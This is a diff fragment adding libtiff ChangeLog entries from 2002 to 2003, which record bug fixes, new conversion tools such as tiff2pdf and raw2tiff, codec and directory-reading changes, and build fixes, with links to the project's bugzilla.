+	* tools/tiff2pdf.c:  Some bugs fixed.
+
+2003-11-27  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_luv.c: Fixed bug in 48-bit to 24-bit conversion routine,
+	reported by Antonio Scuri.
+
+	* man/tiff2pdf.1: Few improvements in page layout.
+
+	* Makefile.in, /man/Makefile.in, /html/man/tiff2pdf.1.html:
+	 Added support fpr tiff2pdf manual page.
+
+2003-11-26 Ross Finlayson  <libtiff@apexinternetsoftware.com>
+
+	* /man/tiff2pdf.1:  File added to repository.
+
+2003-11-26  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* Makefile.in, /tools/{Makefile.in, makefile.vc}:
+	 Added support fpr tiff2pdf utility.
+
+2003-11-25  Ross Finlayson  <libtiff@apexinternetsoftware.com>
+
+	* /tools/tiff2pdf.c:  File added to repository.
+
+2003-11-22  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* /tools/raw2tiff.c: sqrtf() replaced with sqrt().
+
+2003-11-21  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* /tools/raw2tiff.c: #include <getopt.h> removed.
+
+	* tools/{Makefile.in, tiffgt.c}: Unmaintained and platform dependent
+	sgigt utility removed and replaced with the completely rewritten
+	portable tiffgt tool (depend on OpenGL and GLUT). Initial revision,
+	there is a lot of things to improve.
+
+	* libtiff/tif_ojpeg.c: TIFFVGetField() function now can properly
+	extract the fields from the OJPEG files. Patch supplied by Ross
+	Finlayson.
+
+	* libtiff/{tiffio.h, tif_codec.c}, man/{libtiff.3t, TIFFcodec.3t}:
+	Added new function TIFFIsCODECConfigured(), suggested by Ross
+	Finlayson.
+
+2003-11-18  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_dirinfo.c: Implemented binary search in
+	_TIFFMergeFieldInfo(). Patch supplied by Ross Finlayson.
+
+	* libtiff/tif_dir.h: _TIFFFindOrRegisterdInfo declaration replaced
+	with _TIFFFindOrRegisterFieldInfo as reported by Ross Finlayson.
+
+2003-11-17  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* tif_dirread.c: do not mark all anonymously defined tags to be 
+	IGNOREd.  
+
+2003-11-17  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* contrib/pds/{tif_pdsdirread.c, tif_pdsdirwrite.c}: Use
+	TIFFDataWidth() function insted of tiffDataWidth array.
+
+2003-11-16  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tiff.h, tif_dirinfo.c}: Added support for IFD (13)
+	datatype, intruduced in "Adobe PageMaker TIFF Tech. Notes".
+
+2003-11-15  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* Makefile.in: fixed missing backslash for tif_color.c in list.
+
+2003-11-13  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tif_color.c, tif_getimage.c, tiffio.h, Makefile.in}:
+	New color space conversion code: CIE L*a*b* 1976 images now supported
+	by the TIFFRGBAImage interface. All introduced routines go to new
+	module tif_color.c. Eventually all color conversion functions should
+	be moved there.
+
+2003-11-12  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/{ras2tiff.c, rasterfile.h}: Properly determine SUN Rasterfiles
+	with the reverse byte order (it is reported by the magic header
+	field). Problem reported by Andreas Wiesmann.
+
+	* tools/raw2tiff.c, man/raw2tiff.1: Few improvements in correlation
+	calculation function. Guessing mechanics now documented in manual page.
+
+2003-11-11  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/raw2tiff.c: Implemented image size guessing using
+	correlation coefficient calculation between two neighbour lines.
+
+2003-11-09  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_tile.c: remove spurious use of "s" (sample) in the 
+	planarconfig_contig case in TIFFComputeTile().
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=387
+
+2003-11-09  Andrey Kiselev  <dron@ak4719.spb.edu>
+	
+	* libtiff/tiffiop.h: New macros: TIFFmax, TIFFmin and TIFFrint.
+	
+2003-11-07  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tiffio.h, tif_strip.c}, man/{TIFFstrip.3t, libtiff.3t}:
+	Added TIFFRawStripSize() function as suggested by Chris Hanson.
+
+2003-11-03  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tif_lzw.c, tif_fax3.c}: Proper support for update mode as
+	per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=424
+
+2003-10-29  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/libtiff.def: Added TIFFReadRGBAImageOriented.
+
+	* html/build.html: Added note about GNU make requirement.
+
+2003-10-25  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* Makefile.in: Fixes in using MAKEFLAGS as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=418
+
+	* port/install.sh.in: Option -p added to the mkdir command to create
+	all directory tree structure before installing.
+
+2003-10-18  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* /tools/tiff2ps.c: #include <strings.h> replaced with the
+	#include <string.h>.
+
+2003-10-16  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* Makefile.in: Add an absolute path to the test_pics.sh call.
+
+2003-10-12  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tiffcomp.h: #define _BSDTYPES_DEFINED when defining BSD
+	typedefs.
+
+2003-10-09  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* configure, libtiff/{Makefile.in, mkversion.c}:
+	Relative buildings fixed.
+
+	* tools/Makefile.in: Added "-I../libtiff" to the tiffset building
+	rule.
+
+2003-10-07  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* Makefile.in: Added missed v3.6.0.html.
+
+	* libtiff/tiffio.h: Typo fixed: ORIENTATION_BOTTOMLEFT replaced with
+	ORIENTATION_BOTLEFT.
+
+2003-10-04  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* 3.6.0 final release.
+
+2003-10-03  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tif_getimage.c, tiffio.h}, man/TIFFReadRGBAImage.3t: New
+	function TIFFReadRGBAImageOriented() implemented to retrieve raster
+	array with user-specified origin position as suggested by Jason Frank.
+	See
+	
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=322
+
+	for details.
+	
+	* tools/tiff2rgba.c: Switched to use TIFFReadRGBAImageOriented()
+	instead of TIFFReadRGBAImage().
+
+	* tools/tiff2ps.c: Fixed possible endless loop as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=404
+
+2003-09-30  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_dirread.c: Check field counter against number of fields
+	in order to fix
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=366
+
+	* libtiff/tif_fax3.c: Fix wrong line numbering as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=342
+
+2003-09-25  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tiffiop.h, tif_dirread.c, tif_dir.c, tif_open.c,
+	tif_close.c}: Store a list of opened IFD to prevent looping as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=383
+
+2003-09-23  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_dirread.c: More fixes for	EstimateStripByteCounts(). See
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=358
+
+2003-08-21  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/tiffmedian.c: int declaration replaced with the uint32 to
+	support large images as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=382
+
+2003-08-12  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+ 	* libtiff/Makefile.in: Fixed problem with building in different
+	directory.
+
+	* tools/tiff2ps.c: Added missing #include <strings.h>.
+
+	* libtiff/tif_dirwrite.c: More fixes for custom tags code
+	from Ashley Dreier.
+
+2003-08-07  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/tiff2ps.c: Added page size setting when creating PS Level 2.
+	Patch submitted by Balatoni Denes (with corrections from Tom
+	Kacvinsky).
+
+	* tools/tiff2ps.c: Fixed PS comment emitted when FlateDecode is
+	being used. Reported by Tom Kacvinsky.
+
+	* libtiff/tif_dirwrite.c: Fixed problem with custom tags writing,
+	reported by Ashley Dreier.
+
+	* libtiff/tif_print.c: Fixed problem with float tags reading, support
+	for printing RATIONAL and BYTE tags added.
+
+2003-08-05  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_lzw.c: Move LZW codec state block allocation back to
+	TIFFInitLZW(), because its initialization in LZWSetupDecode() cause
+	problems with predictor initialization. Remove O_RDONLY check during
+	state block allocation to be able open LZW compressed files in update
+	mode.
+
+	Problem exist for libtiff version of the tif_lzw.c module. One from
+	lzw-compression-kit hasn't such troubles.
+
+2003-08-04  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_write.c: modified tif_write.c so that the various
+	encoded write functions use tif_postdecode() to apply byte order
+	swapping (swab) to the application passed data buffer if the same
+	would be done when reading.  This allows us to write pixel data with
+	more than 8 bits per sample to existing files of a non-native byte 
+	order.  One side effect of this change is the applications buffer
+	itself is altered in this case by the act of writing. 
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=171
+
+2003-07-25  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_open.c: avoid signed/unsigned casting warning
+	initializing typemask as per patch from J.A. Strother.
+
+	* tools/tiffcp.c: fixed signed/unsigned casting warning.
+
+	* libtiff/tif_print.c: dos2unix conversion.
+
+	* tools/tiffsplit.c: increased the maximum number of pages that
+	can be split.  Patch provided by Andrew J. Montalenti.
+
+2003-07-11  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/raw2tiff.c: Added option `-p' to explicitly select color
+	space of input image data. Closes
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=364
+
+2003-07-08  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* tif_aux.c, tif_codec.c, tif_dir.c, tif_dirread.c, tif_extension.c,
+	tif_fax3.c, tif_getimage.c, tif_luv.c, tif_lzw.c, tif_next.c, 
+	tif_packbits.c, tif_predict.c, tif_print.c, tif_swab.c, tif_thunder.c:
+	avoid casting warning at /W4. 
+
+2003-07-03  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/thumbnail.c: Memory leak fixed as reported by Robert S. Kissel.
+
+2003-06-30  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_pixarlog.c: Unused variables removed.
+
+	* libtiff/{tif_dirread.c, tif_dir.c}: Fixed problem with
+	EstimateStripByteCounts() as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=358
+
+	* libtiff/{tif_dirwrite.c, tif_packbits.c}: Fixed compilation on
+	64-bit architectures as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=357
+
+	* libtiff/tif_dirinfo.c: TIFFDataWidth() returns 0 in case of
+	unknown data type.
+	
+2003-06-19  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_print.c: fixed some serious bugs when printing
+	custom tags ... almost certain to crash. 
+
+	* libtiff/tif_dirread.c: Don't ignore custom fields that are
+	autodefined.  Not sure how this got to be like this.
+
+2003-06-18  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* 3.6.0 Beta2 released.
+
+	* tools/tiffcmp.c, man/tiffcmp.1: Fixed problem with unused data
+	comparing as per bug
+	
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=349
+
+	`-z' option now can be used to set the number of reported different
+	bytes.
+	
+2003-06-09  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/tiffcp.c, man/tiffcp.1: Added possibility to specify value -1
+	to -r option to get the entire image as one strip. See
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=343
+
+	for details.
+
+2003-06-04  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/tiffcp.c: Set the correct RowsPerStrip and PageNumber
+	values as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=343
+
+2003-05-27  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_jpeg.c: modified segment_height calculation to always
+	be a full height tile for tiled images.  Also changed error to just
+	be a warning.
+
+2003-05-25  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/fax2tiff.c: Page numbering fixed, as per bug
+	
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=341
+
+2003-05-20  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* contrib/ojpeg/{Makefile.in, jdhuff.h, jinclude.h, ojpeg.c, README},
+	configure, Makefile.in:	Switched back to the old behaviour. Likely
+	better solution should be found for OJPEG support.
+
+2003-05-11  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/mkversion.c: Fixed problem with wrong string size when
+	reading RELEASE-DATE file.
+
+2003-05-07  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/tiff2ps.c: Fixed bug in Ascii85EncodeBlock() function: array
+	index was out of range.
+
+2003-05-06  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* contrib/ojpeg/{Makefile.in, jdhuff.h, jinclude.h, ojpeg.c, README},
+	configure, Makefile.in:	Improved libtiff compilation with OJPEG
+	support. Now no need for patching IJG JPEG library, hack requred by
+	libtiff will be compiled and used in-place. Implemented with
+	suggestion and help from Bill Allombert, Debian's libjpeg maintainer.
+
+	* libtiff/tif_aux.c: Properly handle TIFFTAG_PREDICTOR in
+	TIFFVGetFieldDefaulted() function.
+
+2003-05-05  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/ppm2tiff.c: PPM header parser improved: now able to skip
+	comments.
+
+	* tools/tiffdither.c: Fixed problem with bit fill order tag setting:
+	was not copied from source image.
+
+	* libtiff/getimage.c: Workaround for some images without correct
+	info about alpha channel as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=331
+
+2003-04-29  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/tiff2ps.c, man/tiff2ps.1: Add ability to generate PS Level 3.
+	It basically allows one to use the /flateDecode filter for ZIP
+	compressed TIFF images. Patch supplied by Tom Kacvinsky. Fixes
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=328
+
+	* tools/tiff2ps.c: Force deadzone printing when EPS output specified
+	as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=325
+
+2003-04-17  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_dirread.c: Removed additional check for StripByteCounts
+	due to problems with multidirectory images. Quality of error messages
+	improved.
+
+2003-04-16  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/tiffcp.c: Fixed problem with colorspace conversion for JPEG
+	encoded images. See bug entries
+	
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=275
+
+	and
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=23
+
+	* libtiff/tif_dirread.c: Additional check for StripByteCounts
+	correctness. Fixes
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=320
+
+2003-03-12  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/{fax2ps.c, fax2tiff.c, gif2tiff.c, pal2rgb.c, ppm2tiff.c,
+	ras2tiff.c, raw2tiff.c, rgb2ycbcr.c, thumbnail.c, tiff2bw.c,
+	tiff2ps.c, tiff2rgba.c, tiffcp.c, tiffdither.c, tiffinfo.c,
+	tiffmedian.c}: Added library version reporting facility to all tools.
+
+2003-03-06  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* port/install.sh.in: Fixed problems with install producing paths
+	like ///usr/local/lib on cygwin.
+
+2003-02-27  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/fax2tiff.c, man/fax2tiff.1: New switch (-X) to set width of
+	raw input page. Patch supplied by Julien Gaulmin. See
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=293
+
+	for details.
+
+2003-02-26  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_dir.c: fixed up the tif_postdecode settings
+	responsible for byte swapping complex image data.
+
+	* libtiff/tif_lzw.c: fixed so that decoder state isn't allocated till
+	LZWSetupDecode().  Needed to read LZW files in "r+" mode.
+
+2003-02-07  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/ppm2tiff.c: Fixed problem with too many arguments.
+
+2003-02-04  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/raw2tiff.c: Memory leak fixed.
+
+2003-02-03  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/fax2tiff.c, man/fax2tiff.1: Applied patch from Julien Gaulmin
+	(thanks, Julien!). More switches for fax2tiff tool for better control
+	of input and output. Details at
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=272
+
+2003-02-03  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_jpeg.c: Modified to defer initialization of jpeg
+	library so that we can check if there is already any tile/strip data
+	before deciding between creating a compressor or a decompressor. 
+
+2003-01-31  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_write.c: TIFFWriteCheck() now fails if the image is
+	a pre-existing compressed image.  That is, image writing to 
+	pre-existing compressed images is not allowed.
+
+	* libtiff/tif_open.c: Removed error if opening a compressed file
+	in update mode. 
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=198
+
+2003-01-31  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* config.guess, config.sub: Updated to recent upstream versions.
+
+2003-01-15  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* cut 3.6.0 Beta release.
+
+2002-12-20  Andrey Kiselev  <dron@ak4719.spb.edu>
+	
+	* tools/fax2ps.c, man/fax2ps.1: Page size was determined
+	in wrong way as per bug
+	
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=239
+
+2002-12-17  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_dirread.c: Allow wrong sized arrays in 
+	TIFFFetchStripThing(). 
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=49
+
+2002-12-02  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_dir.c: fix problem with test on td_customValueCount.
+	Was using realloc even first time.  Fix by Igor Venevtsev.
+
+2002-11-30  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_dir.c: fixed bug with resetting an existing custom
+	field value.
+
+	* libtiff/tif_dir.c: Fixed potential problem with ascii "custom" 
+	tags in TIFFVGetField() ... added missing break.
+
+2002-10-14  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* tools/tiff2ps.c: fixes a problem where "tiff2ps -1e" did not make
+	the scanline buffer long enough when writing rgb triplets.
+	The scanline needs to be 3 X the number of dots or else it will
+	contain	an incomplete triplet and programs that try to separate
+	the eps by redefining the colorimage operator will get messed up.
+	Patch supplied by William Bader.
+
+	* Makefile.in: added tif_extension.c to file list as per 
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=218.
+
+2002-10-11  Andrey Kiselev  <dron@ak4719.spb.edu>
+	
+	* configure, config.site, libtiff/{tif_unix.c, Makefile.in}: Fix for
+	large files (>2GiB) supporting. New option in the config.site:
+	LARGEFILE="yes". Should be enough for I/O of the large files.
+
+2002-10-10  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/html/v3.6.0.html: new release notes.
+
+	* libtiff/index.html: removed faq, cvs snapshot cruft.  Added email
+	link for Andrey.  Pointer to v3.6.0.html.
+
+	* libtiff/Makefile.in: added direct rule for tiffvers.h for release.
+
+2002-10-07  Andrey Kiselev  <dron@ak4719.spb.edu>
+	* tools/tiff2ps.c, man/tiff2ps.1: Applied patch form Sebastian Eken
+	(thanks, Sebastian!). New switches:
+	-b # for a bottom margin of # inches
+	-c   center image
+	-l # for a left margin of # inches
+	-r   rotate the image by 180 degrees
+	New features merged with code for shrinking/overlapping.
+	Previously added -c and -n switches (for overriding PS units) renamed
+	in -x and -y respectively.
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=200
+
+	* html/man/*.html: Updated from actual manual pages.
+
+2002-10-06  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_jpeg.c: fixed problem with boolean defined with wrong
+	size on windows.  Use #define boolean hack.  
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=188
+
+	* libtiff/tiff.h: Don't do special type handling in tiff.h unless
+	USING_VISUALAGE is defined.
+	
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=39
+
+2002-10-03  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tiff.h: added COMPRESSION_JP2000.
+
+2002-10-02  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_dirread.c: Another fix for the fetching SBYTE arrays
+	by the TIFFFetchByteArray() function. Should finally resolve
+	
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=52
+	
+	* configure: Set -DPIXARLOG_SUPPORT option along with -DZIP_SUPPORT
+
+	* html/Makefile.in: New targets added: html and groffhtml for
+	producing HTML representations of the manual pages automatically.
+	html target uses man2html tool, groffhtml uses groff tool.
+	
+2002-09-29  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* configure, libtiff/Makefile.in: Added SCO OpenServer 5.0.6 support
+	from John H. DuBois III.  
+
+2002-09-15  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* Makefile.in, /man/{raw2tiff.1, Makefile.in, libtiff.3}: Added
+	manual page for raw2tiff(1) tool.
+	
+2002-09-12  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* /libtiff/{tiffio.h, tif_dir.h}: TIFFDataWidth() declaration moved to
+	the tiffio.h header file.
+	
+	* Makefile.in, /man/{TIFFDataWidth.3t, Makefile.in, libtiff.3}: Added
+	manual page for TIFFDataWidth() function
+
+2002-09-08  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_dirread.c: Expand v[2] to v[4] in TIFFFetchShortPair()
+	as per http://bugzilla.remotesensing.org/show_bug.cgi?id=196.
+
+	* tools/tiff2ps.c: Don't emit BeginData/EndData DSC comments
+	since we are unable to properly include the amount to skip. 
+	
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=80
+
+2002-09-02  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* /libtiff/tif_dirread.c: Fixed problem with SBYTE type data fetching
+	in TIFFFetchByteArray(). Problem described at
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=52
+
+2002-08-22  Andrey Kiselev  <dron@ak4719.spb.edu>
+	
+	* /libtiff/tif_dirinfo.c: Further additions to free custom fields
+	in _TIFFSetupFieldInfo() function.
+	See http://bugzilla.remotesensing.org/show_bug.cgi?id=169 for details.
+
+	* /libtiff/tif_lzw.c: Additional consistency checking added in
+	LZWDecode() and LZWDecodeCompat().
+	Fixes http://bugzilla.remotesensing.org/show_bug.cgi?id=190
+	and http://bugzilla.remotesensing.org/show_bug.cgi?id=100
+	
+	* /libtiff/tif_lzw.c:
+	Added check for valid code lengths in LZWDecode() and
+	LZWDecodeCompat(). Fixes
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=115
+
+2002-08-16  Andrey Kiselev  <dron@ak4719.spb.edu>
+	
+	* /libtiff/{Makefile.vc, libtiff.def}:
+	Missed declarations added.
+
+2002-08-15  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* tif_getimage.c: Ensure that TIFFRGBAImageBegin() returns the
+	return code from the underlying pick function.
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=177
+
+	* tif_dir.h: changed FIELD_CODEC to 66 from 64 to avoid overlap 
+	with FIELD_CUSTOM as mentioned in bug 169.
+
+	* tif_close.c: added logic to free dynamically created anonymous
+	field definitions to correct a small memory leak.
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=169
+
+2002-08-10  Andrey Kiselev  <dron@ak4719.spb.edu>
+	
+	* /tools/{raw2tiff.c, Makefile.in, Makefile.lcc, Makefile.vc}:
+	New tool: raw2tiff --- raw images to TIFF converter. No manual page yet.
+
+2002-07-31  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_jpeg.c: Fixed problem with setting of nrows in 
+	JPEGDecode() as per bugzilla bug (issue 1):
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=129
+
+	* libtiff/{tif_jpeg.c,tif_strip.c,tif_print.c}: Hacked tif_jpeg.c to
+	fetch TIFFTAG_YCBCRSUBSAMPLING from the jpeg data stream if it isn't
+	present in the tiff tags. 
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=168
+
+	* libtiff/tif_read.c, libtiff/tif_write.c: TIFFReadScanline() and
+	TIFFWriteScanline() now set tif_row explicitly in case the codec has
+	fooled with the value. 
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=129
+
+2002-06-22  Andrey Kiselev  <dron@ak4719.spb.edu>
+	
+	* /tools/tiff2ps.c: Added workaround for some software that may crash
+	when last strip of image contains fewer number of scanlines than
+	specified by the `/Height' variable. See
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=164
+	for explanation.
+
+2002-06-21  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/tiff2ps, man/tiff2ps.1: New functionality for tiff2ps utility:
+	splitting long images in several pages. See
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=142 for explanation.
+	Patch granted by John Williams <williams@morinda.com>.
+
+2002-06-11  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/contrib/win95: renamed to contrib/win_dib.  Added new 
+	Tiffile.cpp example of converting TIFF files into a DIB on Win32.  
+	This one is described in:
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=143
+
+	* libtiff/tif_ojpeg.c: Major upgrade from Scott.  See details at:
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=156
+
+2002-05-10  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/tiff2ps: New commandline switches to override resolution
+	units obtained from the input file. Closes
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=131
+
+2002-04-26  Andrey Kiselev  <dron@ak4719.spb.edu>
+	
+	* libtiff/libtiff.def: Added missed declaration.
+	
+2002-04-22  Andrey Kiselev  <dron@ak4719.spb.edu>
+	
+	* tools/fax2tiff.c: Updated to reflect latest changes in libtiff.
+	Closes http://bugzilla.remotesensing.org/show_bug.cgi?id=125
+
+2002-04-20  Andrey Kiselev  <dron@ak4719.spb.edu>
+	
+	* libtiff/tif_open.c: Pointers to custom procedures
+	in TIFFClientOpen() are checked to be not NULL-pointers.
+	
+2002-04-18  Andrey Kiselev  <dron@ak4719.spb.edu>
+	
+	* libtiff/libtiff.def: Added missed declarations.
+
+	* libtiff/tif_pixarlog.c: Updated for using tif_tagmethods structure.
+
+2002-04-16  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_lzw.c: Additional checks for data integrity introduced.
+	Should finally close
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=100
+	
+2002-04-10  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/tiff2ps: Division by zero fixed.
+	Closes http://bugzilla.remotesensing.org/show_bug.cgi?id=88
+
+2002-04-09  Andrey Kiselev  <dron@ak4719.spb.edu>
+	
+	* libtiff/: tif_dirwrite.c, tif_write.c, tiffio.h:
+	TIFFCheckpointDirectory() routine added.
+	Closes http://bugzilla.remotesensing.org/show_bug.cgi?id=124
+
+	* man/: TIFFWriteDirectory.3t,  Makefile.in: Added description
+	for the new function.
+
+2002-04-08  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/: tif_codec.c, tif_compress.c, tiffiop.h: Introduced
+	additional members tif->tif_decodestatus and tif->tif_encodestatus
+	for correct handling of unconfigured codecs (we should not try to read
+	data or to define data size without correct codecs).
+
+	* libtiff/tif_getimage.c: The way of codecs checking in TIFFRGBAImageOK
+	changed. Now it has used tif->tif_decodestatus and
+	tif->tif_encodestatus.
+	Should fix http://bugzilla.remotesensing.org/show_bug.cgi?id=119 (in
+	case of __cvs_8.tif test image).
+
+	* libtiff/: tif_dirinfo.c, tif_dirread.c: Somebody makes a bug in
+	tif_dirread.c when TIFFCreateAnonFieldInfo was introduced.
+	Closes http://bugzilla.remotesensing.org/show_bug.cgi?id=119 in case
+	of _cvs_00000-00.tif, _cvs_00000-01.tif and _cvs_00000-02.tif.
+
+2002-04-04  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/: tif_lzw.c: Assertions in LZWDecode and LZWDecodeCompat
+	replaced by warnings. Now libtiff should read corrupted LZW-compressed
+	files by skipping bad strips.
+	Closes http://bugzilla.remotesensing.org/show_bug.cgi?id=100
+	
+2002-04-03  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_dirwrite.c: Removed some dead code.
+
+	* libtiff/*: Cleanup some warnings.
+
+	* libtiff/tif_dir.c: Fixed bug with count returned by TIFFGetField()
+	for variable length FIELD_CUSTOM values.  Was int * but should be
+	u_short *.
+
+2002-04-01  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/: tifcp.c: Added support for 'Orientation' tag in tiffcp
+	utility (at cpStripToTile routine).
+
+2002-03-27  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* tif_dirread.c: avoid div-by-zero if rowbytes is zero in chop func.
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=111
+
+	* tif_print.c: Fixed so that ASCII FIELD_CUSTOM values with 
+	passcount set FALSE can be printed (such as TIFFTAG_SOFTWARE).
+
